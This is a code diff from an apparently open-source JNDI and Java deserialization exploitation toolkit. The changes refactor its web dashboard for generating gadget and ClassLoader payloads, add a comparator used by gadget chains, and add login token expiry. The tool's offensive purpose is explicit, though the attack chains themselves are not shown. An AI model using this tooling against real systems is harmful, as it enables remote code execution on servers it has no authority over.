className={'gadget-item' + (d.routing === opt ? ' selected' : '')}
|
|
||||||
onMouseDown={e => { e.preventDefault(); d.setRouting(opt); d.setRoutingOpen(false); }}>
|
|
||||||
{opt}
|
|
||||||
</div>
|
|
||||||
))}
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
)}
|
|
||||||
</div>
|
|
||||||
<div className="form-group input-icon-wrap">
|
|
||||||
<label>FilePath</label>
|
|
||||||
<input type="text" value={d.filePath}
|
|
||||||
placeholder="e.g. /Evil.class"
|
|
||||||
onChange={e => d.setFilePath(e.target.value)} />
|
|
||||||
<span className="input-icon"><FileIcon /></span>
|
|
||||||
</div>
|
|
||||||
{d.classLoaderResult && (
|
|
||||||
<div className="payload-output" style={{ marginTop: 14, position: 'relative', paddingRight: 42 }}>
|
|
||||||
{d.classLoaderResult}
|
|
||||||
<CopyButton text={d.classLoaderResult} />
|
|
||||||
</div>
|
|
||||||
)}
|
|
||||||
{d.rmiClassLoaderResult && (
|
|
||||||
<div className="payload-output" style={{ marginTop: 8, position: 'relative', paddingRight: 42 }}>
|
|
||||||
{d.rmiClassLoaderResult}
|
|
||||||
<CopyButton text={d.rmiClassLoaderResult} />
|
|
||||||
</div>
|
|
||||||
)}
|
|
||||||
{d.ldapsClassLoaderResult && (
|
|
||||||
<div className="payload-output" style={{ marginTop: 8, position: 'relative', paddingRight: 42 }}>
|
|
||||||
{d.ldapsClassLoaderResult}
|
|
||||||
<CopyButton text={d.ldapsClassLoaderResult} />
|
|
||||||
</div>
|
|
||||||
)}
|
|
||||||
</div>
|
|
||||||
)}
|
|
||||||
</div>
|
|
||||||
)}
|
|
||||||
|
|
||||||
{d.activeJndiTab === 'logs' && (
|
|
||||||
<div key="jndi-logs" className="tab-content-enter">
|
|
||||||
<div className="log-header">
|
|
||||||
<span>Server Events</span>
|
|
||||||
<button className="btn btn-secondary" style={{ padding: '4px 12px', fontSize: 11, width: 'auto' }}
|
|
||||||
onClick={d.fetchLogs} disabled={d.logLoading}>
|
|
||||||
{d.logLoading ? 'Loading...' : 'Refresh'}
|
|
||||||
</button>
|
</button>
|
||||||
</div>
|
)}
|
||||||
<div className="log-container">
|
{d.activeJndiTab === 'payload' && d.payloadSubTab === 'gadget' && (
|
||||||
{d.logLines.length === 0 ? (
|
<button className="btn btn-primary" style={{ width: 'auto', padding: '8px 18px', fontSize: 14 }} onClick={handleGenerateJndiPayload}
|
||||||
<div className="log-empty">No events yet. Start a server or wait for incoming requests.</div>
|
disabled={d.loading || !(d.jndiGadgetInput || d.selectedGadget).trim() || !d.payloadCmd}>
|
||||||
) : (
|
{d.loading ? 'Generating...' : 'Generate'}
|
||||||
d.logLines.map((line, i) => (
|
</button>
|
||||||
<div key={i} className="log-line">{line}</div>
|
)}
|
||||||
))
|
{d.activeJndiTab === 'payload' && d.payloadSubTab === 'classloader' && (
|
||||||
)}
|
<button className="btn btn-primary" style={{ width: 'auto', padding: '8px 18px', fontSize: 14 }} onClick={handleGenerateClassLoader}
|
||||||
<div ref={d.logEndRef} />
|
disabled={d.loading || !d.filePath.trim() || !d.routing.trim()}>
|
||||||
</div>
|
{d.loading ? 'Generating...' : 'Generate'}
|
||||||
|
</button>
|
||||||
|
)}
|
||||||
</div>
|
</div>
|
||||||
)}
|
|
||||||
|
{d.activeJndiTab === 'config' && (
|
||||||
|
<div key="jndi-config" className="tab-content-enter">
|
||||||
|
<ConfigForm config={d.configForm} onChange={d.setConfigForm} />
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
|
||||||
|
{d.activeJndiTab === 'payload' && (
|
||||||
|
<div key="jndi-payload" className="tab-content-enter">
|
||||||
|
<div className="control-bar">
|
||||||
|
<div className={'tab-segment-control' + (d.payloadSubTab === 'classloader' ? ' config-tab' : '')}>
|
||||||
|
<button className={'tab-segment-btn' + (d.payloadSubTab === 'gadget' ? ' active' : '')} onClick={() => d.setPayloadSubTab('gadget')}>Gadget</button>
|
||||||
|
<button className={'tab-segment-btn' + (d.payloadSubTab === 'classloader' ? ' active' : '')} onClick={() => d.setPayloadSubTab('classloader')}>ClassLoader</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{d.payloadSubTab === 'gadget' && (
|
||||||
|
<div key="payload-gadget" className="tab-content-enter">
|
||||||
|
<GadgetSelector
|
||||||
|
value={d.jndiGadgetInput}
|
||||||
|
onChange={d.setJndiGadgetInput}
|
||||||
|
items={d.filteredGadgets}
|
||||||
|
searchValue={d.gadgetSearch}
|
||||||
|
onSearchChange={v => { d.setGadgetSearch(v); d.setSelectedGadget(v); }}
|
||||||
|
open={d.gadgetOpen}
|
||||||
|
onOpenChange={d.setGadgetOpen}
|
||||||
|
selectedGadget={d.selectedGadget}
|
||||||
|
/>
|
||||||
|
<div className="form-group input-icon-wrap">
|
||||||
|
<label>Command</label>
|
||||||
|
<textarea rows={4} value={d.payloadCmd} placeholder="e.g. whoami"
|
||||||
|
onChange={e => d.setPayloadCmd(e.target.value)} />
|
||||||
|
<span className="input-icon" style={{ top: 38 }}><CommandIcon /></span>
|
||||||
|
</div>
|
||||||
|
<PayloadOutput text={d.jndiPayloadResult} />
|
||||||
|
<PayloadOutput text={d.rmiPayloadResult} style={{ marginTop: 8 }} />
|
||||||
|
<PayloadOutput text={d.ldapsPayloadResult} style={{ marginTop: 8 }} />
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
|
||||||
|
{d.payloadSubTab === 'classloader' && (
|
||||||
|
<div key="payload-classloader" className="tab-content-enter">
|
||||||
|
<GadgetSelector
|
||||||
|
value={d.routing}
|
||||||
|
onChange={d.setRouting}
|
||||||
|
items={ROUTING_ITEMS}
|
||||||
|
open={d.routingOpen}
|
||||||
|
onOpenChange={d.setRoutingOpen}
|
||||||
|
selectedGadget={d.routing}
|
||||||
|
label="Routing"
|
||||||
|
/>
|
||||||
|
<div className="form-group input-icon-wrap">
|
||||||
|
<label>FilePath</label>
|
||||||
|
<input type="text" value={d.filePath}
|
||||||
|
placeholder="e.g. /Evil.class"
|
||||||
|
onChange={e => d.setFilePath(e.target.value)} />
|
||||||
|
<span className="input-icon"><FileIcon /></span>
|
||||||
|
</div>
|
||||||
|
<PayloadOutput text={d.classLoaderResult} />
|
||||||
|
<PayloadOutput text={d.rmiClassLoaderResult} style={{ marginTop: 8 }} />
|
||||||
|
<PayloadOutput text={d.ldapsClassLoaderResult} style={{ marginTop: 8 }} />
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
|
||||||
|
{d.activeJndiTab === 'logs' && (
|
||||||
|
<div key="jndi-logs" className="tab-content-enter">
|
||||||
|
<div className="log-header">
|
||||||
|
<span>Server Events</span>
|
||||||
|
<button className="btn btn-secondary" style={{ padding: '4px 12px', fontSize: 11, width: 'auto' }}
|
||||||
|
onClick={d.fetchLogs} disabled={d.logLoading}>
|
||||||
|
{d.logLoading ? 'Loading...' : 'Refresh'}
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
<div className="log-container">
|
||||||
|
{d.logLines.length === 0 ? (
|
||||||
|
<div className="log-empty">No events yet. Start a server or wait for incoming requests.</div>
|
||||||
|
) : (
|
||||||
|
d.logLines.map((line, i) => (
|
||||||
|
<div key={i} className="log-line">{line}</div>
|
||||||
|
))
|
||||||
|
)}
|
||||||
|
<div ref={d.logEndRef} />
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</>
|
||||||
</>
|
|
||||||
)}
|
)}
|
||||||
|
|
||||||
{d.mode === 'gadget' && (
|
{d.mode === 'gadget' && (
|
||||||
@@ -569,32 +424,17 @@ export default function Dashboard() {
|
|||||||
</div>
|
</div>
|
||||||
)}
|
)}
|
||||||
|
|
||||||
<div style={{ position: 'relative', marginTop: d.showAdvanced ? 14 : 0 }}>
|
<div style={{ marginTop: d.showAdvanced ? 14 : 0 }}>
|
||||||
<div className="form-group input-icon-wrap">
|
<GadgetSelector
|
||||||
<label>Gadget</label>
|
value={d.gadgetModeInput}
|
||||||
<input type="text"
|
onChange={d.setGadgetModeInput}
|
||||||
value={d.gadgetModeInput}
|
items={d.filteredGadgets}
|
||||||
placeholder="Type or search..."
|
searchValue={d.gadgetSearch}
|
||||||
onFocus={() => d.setGadgetOpen(true)}
|
onSearchChange={v => { d.setGadgetSearch(v); d.setSelectedGadget(v); }}
|
||||||
onBlur={() => setTimeout(() => d.setGadgetOpen(false), 150)}
|
open={d.gadgetOpen}
|
||||||
onChange={e => { d.setGadgetModeInput(e.target.value); d.setGadgetSearch(e.target.value); }}
|
onOpenChange={d.setGadgetOpen}
|
||||||
style={{ cursor: 'text' }}
|
selectedGadget={d.selectedGadget}
|
||||||
/>
|
/>
|
||||||
<span className="input-icon"><SearchIcon /></span>
|
|
||||||
</div>
|
|
||||||
{d.gadgetOpen && (
|
|
||||||
<div className="gadget-dropdown" style={{ top: 'calc(100% - 8px)' }}>
|
|
||||||
<div className="gadget-list" style={{ maxHeight: 180, border: 'none', borderRadius: 12 }}>
|
|
||||||
{d.filteredGadgets.map(g => (
|
|
||||||
<div key={g.name}
|
|
||||||
className={'gadget-item' + (d.selectedGadget === g.name ? ' selected' : '')}
|
|
||||||
onMouseDown={e => { e.preventDefault(); d.setSelectedGadget(g.name); d.setGadgetModeInput(g.name); d.setGadgetSearch(g.name); d.setGadgetOpen(false); }}>
|
|
||||||
{g.name}
|
|
||||||
</div>
|
|
||||||
))}
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
)}
|
|
||||||
</div>
|
</div>
|
||||||
<div className="form-group input-icon-wrap">
|
<div className="form-group input-icon-wrap">
|
||||||
<label>Command</label>
|
<label>Command</label>
|
||||||
@@ -609,12 +449,7 @@ export default function Dashboard() {
|
|||||||
onChange={e => d.setSaveFilename(e.target.value)} />
|
onChange={e => d.setSaveFilename(e.target.value)} />
|
||||||
<span className="input-icon"><FileIcon /></span>
|
<span className="input-icon"><FileIcon /></span>
|
||||||
</div>
|
</div>
|
||||||
{d.payloadResult && (
|
<PayloadOutput text={d.payloadResult} />
|
||||||
<div className="payload-output" style={{ marginTop: 14, position: 'relative', paddingRight: 42 }}>
|
|
||||||
{d.payloadResult}
|
|
||||||
<CopyButton text={d.payloadResult} />
|
|
||||||
</div>
|
|
||||||
)}
|
|
||||||
</div>
|
</div>
|
||||||
<div className="glass-card section-enter" style={{ flex: 2, marginBottom: 0 }}>
|
<div className="glass-card section-enter" style={{ flex: 2, marginBottom: 0 }}>
|
||||||
<div className="header" style={{ padding: 0, marginBottom: 16 }}>
|
<div className="header" style={{ padding: 0, marginBottom: 16 }}>
|
||||||
@@ -637,11 +472,7 @@ export default function Dashboard() {
|
|||||||
style={{ display: 'none' }}
|
style={{ display: 'none' }}
|
||||||
onChange={d.handleFileSelect}
|
onChange={d.handleFileSelect}
|
||||||
/>
|
/>
|
||||||
{d.uploading ? (
|
{d.uploading ? <span>Uploading...</span> : <span>Drop file here or click to upload</span>}
|
||||||
<span>Uploading...</span>
|
|
||||||
) : (
|
|
||||||
<span>Drop file here or click to upload</span>
|
|
||||||
)}
|
|
||||||
</div>
|
</div>
|
||||||
<div className="file-list">
|
<div className="file-list">
|
||||||
{d.files.length === 0 ? (
|
{d.files.length === 0 ? (
|
||||||
|
|||||||
@@ -1,6 +1,13 @@
|
|||||||
import { useState } from 'react'
|
import { useState } from 'react'
|
||||||
import { useNavigate } from 'react-router-dom'
|
import { useNavigate } from 'react-router-dom'
|
||||||
import { login, setAuthToken } from '../api'
|
import { login, setAuthToken } from '../api'
|
||||||
|
import ParticleBackground from '../components/ParticleBackground'
|
||||||
|
|
||||||
|
const SpinnerIcon = () => (
|
||||||
|
<svg className="btn-spinner" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="2.5" strokeLinecap="round">
|
||||||
|
<path d="M12 2v4M12 18v4M4.93 4.93l2.83 2.83M16.24 16.24l2.83 2.83M2 12h4M18 12h4M4.93 19.07l2.83-2.83M16.24 7.76l2.83-2.83"/>
|
||||||
|
</svg>
|
||||||
|
)
|
||||||
|
|
||||||
export default function Login() {
|
export default function Login() {
|
||||||
const navigate = useNavigate()
|
const navigate = useNavigate()
|
||||||
@@ -41,7 +48,8 @@ export default function Login() {
|
|||||||
|
|
||||||
return (
|
return (
|
||||||
<div className="login-wrapper">
|
<div className="login-wrapper">
|
||||||
<div className="glass-card" style={{ width: 400, borderRadius: 36 }}>
|
<ParticleBackground />
|
||||||
|
<div className="login-acrylic-card">
|
||||||
<div className="login-inner">
|
<div className="login-inner">
|
||||||
<h1>JYso</h1>
|
<h1>JYso</h1>
|
||||||
<p className="subtitle">JNDI Exploitation Toolkit</p>
|
<p className="subtitle">JNDI Exploitation Toolkit</p>
|
||||||
@@ -67,7 +75,14 @@ export default function Login() {
|
|||||||
/>
|
/>
|
||||||
</div>
|
</div>
|
||||||
<button className="btn btn-primary" type="submit" disabled={loading}>
|
<button className="btn btn-primary" type="submit" disabled={loading}>
|
||||||
{loading ? 'Logging in...' : 'Sign In'}
|
{loading ? (
|
||||||
|
<>
|
||||||
|
<SpinnerIcon />
|
||||||
|
Signing in...
|
||||||
|
</>
|
||||||
|
) : (
|
||||||
|
'Sign In'
|
||||||
|
)}
|
||||||
</button>
|
</button>
|
||||||
</form>
|
</form>
|
||||||
</div>
|
</div>
|
||||||
|
|||||||
@@ -1,14 +1,14 @@
|
|||||||
package com.qi4l.JYso.gadgets;
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
import com.qi4l.JYso.gadgets.utils.AttrCompare;
|
||||||
import com.qi4l.JYso.gadgets.utils.SuClassLoader;
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
import com.sun.org.apache.xerces.internal.dom.AttrNSImpl;
|
import com.qi4l.JYso.gadgets.utils.SuClassLoader;
|
||||||
import com.sun.org.apache.xerces.internal.dom.CoreDocumentImpl;
|
import com.sun.org.apache.xerces.internal.dom.AttrNSImpl;
|
||||||
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
|
import com.sun.org.apache.xerces.internal.dom.CoreDocumentImpl;
|
||||||
import javassist.*;
|
import javassist.*;
|
||||||
|
|
||||||
import java.util.Comparator;
|
import java.util.Comparator;
|
||||||
import java.util.PriorityQueue;
|
import java.util.PriorityQueue;
|
||||||
|
|||||||
@@ -1,12 +1,12 @@
|
|||||||
package com.qi4l.JYso.gadgets;
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||||
import com.sun.org.apache.xerces.internal.dom.AttrNSImpl;
|
import com.qi4l.JYso.gadgets.utils.AttrCompare;
|
||||||
import com.sun.org.apache.xerces.internal.dom.CoreDocumentImpl;
|
import com.sun.org.apache.xerces.internal.dom.AttrNSImpl;
|
||||||
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
|
import com.sun.org.apache.xerces.internal.dom.CoreDocumentImpl;
|
||||||
import org.apache.commons.beanutils.BeanComparator;
|
import org.apache.commons.beanutils.BeanComparator;
|
||||||
|
|
||||||
import static com.qi4l.JYso.gadgets.cb_AttrCompare183.getCbSink_3;
|
import static com.qi4l.JYso.gadgets.cb_AttrCompare183.getCbSink_3;
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,59 @@
|
|||||||
|
package com.qi4l.JYso.gadgets.utils;
|
||||||
|
|
||||||
|
import org.w3c.dom.Attr;
|
||||||
|
|
||||||
|
import java.io.Serializable;
|
||||||
|
import java.util.Comparator;
|
||||||
|
|
||||||
|
@SuppressWarnings("rawtypes")
|
||||||
|
public class AttrCompare implements Comparator, Serializable {
|
||||||
|
private static final long serialVersionUID = 1L;
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public int compare(Object o1, Object o2) {
|
||||||
|
if (o1 == o2) {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
if (o1 == null) {
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
if (o2 == null) {
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
if (o1 instanceof Attr && o2 instanceof Attr) {
|
||||||
|
Attr a1 = (Attr) o1;
|
||||||
|
Attr a2 = (Attr) o2;
|
||||||
|
|
||||||
|
int ns = compareNullable(a1.getNamespaceURI(), a2.getNamespaceURI());
|
||||||
|
if (ns != 0) {
|
||||||
|
return ns;
|
||||||
|
}
|
||||||
|
|
||||||
|
int localName = compareNullable(a1.getLocalName(), a2.getLocalName());
|
||||||
|
if (localName != 0) {
|
||||||
|
return localName;
|
||||||
|
}
|
||||||
|
|
||||||
|
int name = compareNullable(a1.getName(), a2.getName());
|
||||||
|
if (name != 0) {
|
||||||
|
return name;
|
||||||
|
}
|
||||||
|
|
||||||
|
return compareNullable(a1.getValue(), a2.getValue());
|
||||||
|
}
|
||||||
|
return o1.toString().compareTo(o2.toString());
|
||||||
|
}
|
||||||
|
|
||||||
|
private static int compareNullable(String s1, String s2) {
|
||||||
|
if (s1 == s2) {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
if (s1 == null) {
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
if (s2 == null) {
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
return s1.compareTo(s2);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -323,7 +323,7 @@ public class Utils {
|
|||||||
gzipOutputStream.write(bytes);
|
gzipOutputStream.write(bytes);
|
||||||
gzipOutputStream.close();
|
gzipOutputStream.close();
|
||||||
|
|
||||||
String b64 = Base64.encodeBase64String(outBuf.toByteArray());
|
String b64 = Base64.encodeBase64String(outBuf.toByteArray()).replace("\r", "").replace("\n", "");
|
||||||
StringBuilder code = new StringBuilder();
|
StringBuilder code = new StringBuilder();
|
||||||
if (b64.length() > 60000) {
|
if (b64.length() > 60000) {
|
||||||
String[] arrays = splitString(b64, 60000);
|
String[] arrays = splitString(b64, 60000);
|
||||||
|
|||||||
@@ -1,9 +1,7 @@
|
|||||||
package com.qi4l.JYso.gadgets.utils.jre;
|
package com.qi4l.JYso.gadgets.utils.jre;
|
||||||
|
|
||||||
|
import org.apache.logging.log4j.Logger;
|
||||||
import com.sun.xml.internal.messaging.saaj.util.ByteOutputStream;
|
import org.apache.logging.log4j.LogManager;
|
||||||
import org.apache.logging.log4j.Logger;
|
|
||||||
import org.apache.logging.log4j.LogManager;
|
|
||||||
|
|
||||||
import java.io.*;
|
import java.io.*;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
@@ -20,12 +18,12 @@ public class Serialization {
|
|||||||
|
|
||||||
private TCBlockData blockData;
|
private TCBlockData blockData;
|
||||||
|
|
||||||
public Serialization() {
|
public Serialization() {
|
||||||
try {
|
try {
|
||||||
ObjectOutputStream output = new ObjectOutputStream(new ByteOutputStream());
|
ObjectOutputStream output = new ObjectOutputStream(new ByteArrayOutputStream());
|
||||||
Field f = output.getClass().getDeclaredField("handles");
|
Field f = output.getClass().getDeclaredField("handles");
|
||||||
f.setAccessible(true);
|
f.setAccessible(true);
|
||||||
this.handle = f.get(output);
|
this.handle = f.get(output);
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
log.error("e: ", e);
|
log.error("e: ", e);
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -3,11 +3,12 @@ package com.qi4l.JYso.web;
|
|||||||
import com.alibaba.fastjson.JSON;
|
import com.alibaba.fastjson.JSON;
|
||||||
import com.alibaba.fastjson.JSONObject;
|
import com.alibaba.fastjson.JSONObject;
|
||||||
import com.qi4l.JYso.web.config.JYsoWebPasswordProvider;
|
import com.qi4l.JYso.web.config.JYsoWebPasswordProvider;
|
||||||
|
import org.apache.logging.log4j.LogManager;
|
||||||
|
import org.apache.logging.log4j.Logger;
|
||||||
|
|
||||||
import javax.servlet.http.HttpServlet;
|
import javax.servlet.http.HttpServlet;
|
||||||
import javax.servlet.http.HttpServletRequest;
|
import javax.servlet.http.HttpServletRequest;
|
||||||
import javax.servlet.http.HttpServletResponse;
|
import javax.servlet.http.HttpServletResponse;
|
||||||
import java.io.BufferedReader;
|
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.util.HashMap;
|
import java.util.HashMap;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
@@ -16,22 +17,27 @@ import java.util.concurrent.ConcurrentHashMap;
|
|||||||
|
|
||||||
public class AuthServlet extends HttpServlet {
|
public class AuthServlet extends HttpServlet {
|
||||||
|
|
||||||
static final ConcurrentHashMap<String, String> tokens = new ConcurrentHashMap<>();
|
private static final Logger log = LogManager.getLogger(AuthServlet.class);
|
||||||
|
private static final long TOKEN_TTL_MS = 24 * 60 * 60 * 1000; // 24 hours
|
||||||
|
|
||||||
|
static final ConcurrentHashMap<String, TokenEntry> tokens = new ConcurrentHashMap<>();
|
||||||
|
|
||||||
|
static class TokenEntry {
|
||||||
|
final String username;
|
||||||
|
final long expireAt;
|
||||||
|
|
||||||
|
TokenEntry(String username, long expireAt) {
|
||||||
|
this.username = username;
|
||||||
|
this.expireAt = expireAt;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws IOException {
|
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws IOException {
|
||||||
resp.setContentType("application/json");
|
resp.setContentType("application/json");
|
||||||
resp.setCharacterEncoding("UTF-8");
|
resp.setCharacterEncoding("UTF-8");
|
||||||
|
|
||||||
StringBuilder sb = new StringBuilder();
|
JSONObject body = WebUtils.readJson(req);
|
||||||
try (BufferedReader reader = req.getReader()) {
|
|
||||||
String line;
|
|
||||||
while ((line = reader.readLine()) != null) {
|
|
||||||
sb.append(line);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
JSONObject body = JSON.parseObject(sb.toString());
|
|
||||||
|
|
||||||
String username = body.getString("username");
|
String username = body.getString("username");
|
||||||
String password = body.getString("password");
|
String password = body.getString("password");
|
||||||
|
|
||||||
@@ -44,7 +50,7 @@ public class AuthServlet extends HttpServlet {
|
|||||||
}
|
}
|
||||||
|
|
||||||
String token = UUID.randomUUID().toString();
|
String token = UUID.randomUUID().toString();
|
||||||
tokens.put(token, username);
|
tokens.put(token, new TokenEntry(username, System.currentTimeMillis() + TOKEN_TTL_MS));
|
||||||
Map<String, String> result = new HashMap<>();
|
Map<String, String> result = new HashMap<>();
|
||||||
result.put("token", token);
|
result.put("token", token);
|
||||||
result.put("username", username);
|
result.put("username", username);
|
||||||
@@ -52,6 +58,14 @@ public class AuthServlet extends HttpServlet {
|
|||||||
}
|
}
|
||||||
|
|
||||||
static boolean validateToken(String token) {
|
static boolean validateToken(String token) {
|
||||||
return token != null && tokens.containsKey(token);
|
if (token == null) return false;
|
||||||
|
TokenEntry entry = tokens.get(token);
|
||||||
|
if (entry == null) return false;
|
||||||
|
if (System.currentTimeMillis() > entry.expireAt) {
|
||||||
|
tokens.remove(token);
|
||||||
|
log.debug("Token expired and removed");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
return true;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -16,7 +16,6 @@ import javax.servlet.http.HttpServlet;
|
|||||||
import javax.servlet.http.HttpServletRequest;
|
import javax.servlet.http.HttpServletRequest;
|
||||||
import javax.servlet.http.HttpServletResponse;
|
import javax.servlet.http.HttpServletResponse;
|
||||||
import javax.servlet.http.Part;
|
import javax.servlet.http.Part;
|
||||||
import java.io.BufferedReader;
|
|
||||||
import java.io.File;
|
import java.io.File;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.io.InputStream;
|
import java.io.InputStream;
|
||||||
@@ -24,11 +23,16 @@ import java.nio.file.Files;
|
|||||||
import java.nio.file.Path;
|
import java.nio.file.Path;
|
||||||
import java.nio.file.Paths;
|
import java.nio.file.Paths;
|
||||||
import java.nio.file.StandardCopyOption;
|
import java.nio.file.StandardCopyOption;
|
||||||
|
import org.apache.logging.log4j.LogManager;
|
||||||
|
import org.apache.logging.log4j.Logger;
|
||||||
|
|
||||||
import java.util.*;
|
import java.util.*;
|
||||||
|
|
||||||
@MultipartConfig
|
@MultipartConfig
|
||||||
public class JettyApiServlet extends HttpServlet {
|
public class JettyApiServlet extends HttpServlet {
|
||||||
|
|
||||||
|
private static final Logger log = LogManager.getLogger(JettyApiServlet.class);
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
protected void service(HttpServletRequest req, HttpServletResponse resp) throws IOException {
|
protected void service(HttpServletRequest req, HttpServletResponse resp) throws IOException {
|
||||||
resp.setContentType("application/json");
|
resp.setContentType("application/json");
|
||||||
@@ -40,62 +44,85 @@ public class JettyApiServlet extends HttpServlet {
|
|||||||
}
|
}
|
||||||
|
|
||||||
try {
|
try {
|
||||||
if ("/status".equals(path) && "GET".equalsIgnoreCase(req.getMethod())) {
|
String method = req.getMethod();
|
||||||
handleStatus(resp);
|
if ("GET".equalsIgnoreCase(method)) {
|
||||||
} else if ("/servers/start".equals(path) && "POST".equalsIgnoreCase(req.getMethod())) {
|
handleGet(path, req, resp);
|
||||||
handleServersStart(req, resp);
|
} else if ("POST".equalsIgnoreCase(method)) {
|
||||||
} else if ("/servers/stop".equals(path) && "POST".equalsIgnoreCase(req.getMethod())) {
|
handlePost(path, req, resp);
|
||||||
handleServersStop(req, resp);
|
|
||||||
} else if ("/servers/toggle".equals(path) && "POST".equalsIgnoreCase(req.getMethod())) {
|
|
||||||
handleServersToggle(req, resp);
|
|
||||||
} else if ("/gadgets".equals(path) && "GET".equalsIgnoreCase(req.getMethod())) {
|
|
||||||
handleGadgets(resp);
|
|
||||||
} else if ("/payload/generate".equals(path) && "POST".equalsIgnoreCase(req.getMethod())) {
|
|
||||||
handlePayloadGenerate(req, resp);
|
|
||||||
} else if ("/config/update".equals(path) && "POST".equalsIgnoreCase(req.getMethod())) {
|
|
||||||
handleConfigUpdate(req, resp);
|
|
||||||
} else if ("/config".equals(path) && "GET".equalsIgnoreCase(req.getMethod())) {
|
|
||||||
handleStatus(resp);
|
|
||||||
} else if ("/logs".equals(path) && "GET".equalsIgnoreCase(req.getMethod())) {
|
|
||||||
handleLogs(req, resp);
|
|
||||||
} else if ("/files".equals(path) && "GET".equalsIgnoreCase(req.getMethod())) {
|
|
||||||
handleFileList(resp);
|
|
||||||
} else if ("/files/download".equals(path) && "GET".equalsIgnoreCase(req.getMethod())) {
|
|
||||||
handleFileDownload(req, resp);
|
|
||||||
} else if ("/files/delete".equals(path) && "POST".equalsIgnoreCase(req.getMethod())) {
|
|
||||||
handleFileDelete(req, resp);
|
|
||||||
} else if ("/files/upload".equals(path) && "POST".equalsIgnoreCase(req.getMethod())) {
|
|
||||||
handleFileUpload(req, resp);
|
|
||||||
} else {
|
} else {
|
||||||
resp.setStatus(404);
|
sendNotFound(resp);
|
||||||
resp.getWriter().write("{\"error\":\"Not found\"}");
|
|
||||||
}
|
}
|
||||||
|
} catch (IllegalArgumentException e) {
|
||||||
|
log.warn("Bad request: {}", e.getMessage());
|
||||||
|
resp.setStatus(400);
|
||||||
|
resp.getWriter().write("{\"success\":false,\"error\":\"" + WebUtils.escapeJson(e.getMessage()) + "\"}");
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
|
log.error("Request processing failed", e);
|
||||||
resp.setStatus(500);
|
resp.setStatus(500);
|
||||||
resp.getWriter().write("{\"success\":false,\"error\":\"" + escapeJson(e.getMessage()) + "\"}");
|
resp.getWriter().write("{\"success\":false,\"error\":\"" + WebUtils.escapeJson(e.getMessage()) + "\"}");
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private void handleGet(String path, HttpServletRequest req, HttpServletResponse resp) throws Exception {
|
||||||
|
switch (path) {
|
||||||
|
case "/status":
|
||||||
|
case "/config":
|
||||||
|
handleStatus(resp);
|
||||||
|
break;
|
||||||
|
case "/gadgets":
|
||||||
|
handleGadgets(resp);
|
||||||
|
break;
|
||||||
|
case "/logs":
|
||||||
|
handleLogs(req, resp);
|
||||||
|
break;
|
||||||
|
case "/files":
|
||||||
|
handleFileList(resp);
|
||||||
|
break;
|
||||||
|
case "/files/download":
|
||||||
|
handleFileDownload(req, resp);
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
sendNotFound(resp);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void handlePost(String path, HttpServletRequest req, HttpServletResponse resp) throws Exception {
|
||||||
|
switch (path) {
|
||||||
|
case "/servers/start":
|
||||||
|
handleServersStart(req, resp);
|
||||||
|
break;
|
||||||
|
case "/servers/stop":
|
||||||
|
handleServersStop(req, resp);
|
||||||
|
break;
|
||||||
|
case "/servers/toggle":
|
||||||
|
handleServersToggle(req, resp);
|
||||||
|
break;
|
||||||
|
case "/payload/generate":
|
||||||
|
